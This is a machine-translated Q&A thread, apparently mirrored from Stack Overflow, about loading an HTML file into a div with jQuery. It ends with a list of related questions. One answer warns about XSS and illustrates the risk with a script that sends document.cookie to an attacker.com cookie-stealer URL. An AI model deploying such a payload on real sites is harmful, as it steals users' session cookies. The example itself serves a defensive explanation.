在div中顯示html文件

我一直在試圖尋找一種方法來做到這一點，因爲我確信有數百個網站解釋它，但我只是不能說出正確的，所以我所有的搜索都想出了一些東西其他。在div中顯示html文件

所以我很抱歉，如果這已被問了很多次之前。

無論如何，我想要做的是在div中加載一個'page.html'頁面。該頁面只有文本，沒有別的。因此，我不想使用iframe，而是要在div內加載此頁面，以便它只顯示該頁面上的文本。

我已經嘗試了幾個不同的東西，我發現在我的搜索過程中;

$(document).ready(function() {  
    $("div").load("page.html") 
});

但由於某種原因，該方法改變了我在頁面上的所有文本，而不是在該div內。（我編碼非常可怕，所以我可能在某個地方用這種方法出錯了）

所以任何人都可以提出一種方法來加載一個頁面內的內容，而不是使用iframe。

來源

2012-06-30 Chumps

將正常幀是可以接受的？只是在普通的div中構成安全威脅（超級簡易XSS（跨站腳本））。 – C0deH4cker

$('div')將比您尋找的目標更多。如果您嘗試將內容加載到特定的div元素中，請爲其指定一個ID並將其定位。

<div id="pageContent"></div>

$(document).ready(function() { 
    $('#pageContent').load('page.html'); 
}

來源

2012-06-30 05:07:35 lukiffer

我只是添加該頁面。如果你不能控制它，你可以嘗試$ .get html到一個變量，然後使用$（thatVariable）.find（'body'）添加內容到你的div。 – Milimetric

@Milimetric，jQuery自己做。 – 23W

簡短的回答：不能。

很長的答案：你可以，但它會很困難，容易出錯，並有很大的安全風險。

比方說，這是要在其中另一個嵌入頁面：

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Page</title> 
</head> 
<body> 
    <div id="embedMe"></div> 
</body> 
</html>

然後，這裏是網頁的被嵌入的代碼，第一：

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Embedded Page</title> 
</head> 
<body> 
    <div id="content"> 
    Something interesting here... 
    </div> 
</body> 
</html>

然後，當它被嵌入時：

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Page</title> 
</head> 
<body> 
    <div id="embedMe"> 
    <!DOCTYPE html public> 
    <html> 
    <head> 
    <title>My Embedded Page</title> 
    </head> 
    <body> 
    <div id="content"> 
     Something interesting here... 
    </div> 
    </body> 
    </html> 
    </div> 
</body> 
</html>

你可以看到這個問題。您有兩個html元素，兩個head s，兩個body s，兩個title s，甚至兩個DOCTYPES。這是一個仁慈的例子。假設攻擊者可以更改頁面的URL被嵌入到一個包含此：

<script type="text/javascript"> 
window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie; 
</script>

突然間，你的用戶抱怨有自己的賬戶侵入，並有責任在降落到你的sholders 。這是XSS的一個簡單例子，真正的攻擊者可以更好地隱藏它。請使用iframe。這就是他們所做的。

來源

2012-06-30 05:21:39 C0deH4cker

與',,,

11. Div在HTML中不會一一顯示？

12. @Html標記不顯示在div中？

13. 在HTML表格中顯示XML文件

14. 在iframe中顯示html文件

15. 在php文件中顯示html頁面

16. 在JEditorPane中顯示HTML文件

17. 如何在JEditorPane中顯示html文件

18. 在HTML表格中顯示文件

19. 在Java ME中顯示HTML文件？

20. 如何使用php文件在其他HTML頁面中顯示HTML菜單div？

21. div中的HTML 5不會顯示從css3文件

22. Angular JS路由不會在div上顯示我的html文件

23. html div不顯示其內容文字

24. 如何在div中的HTML中並排顯示文本？

25. HTML/JavaScript：在視圖中顯示div時顯示塊？

26. 的JavaScript：在index.php文件顯示DIV

27. html div浮動和顯示

28. HTML Div邊框不顯示

29. HTML + CSS div顯示錯誤

30. 下拉的html顯示div

在div中顯示html文件

回答

相關問題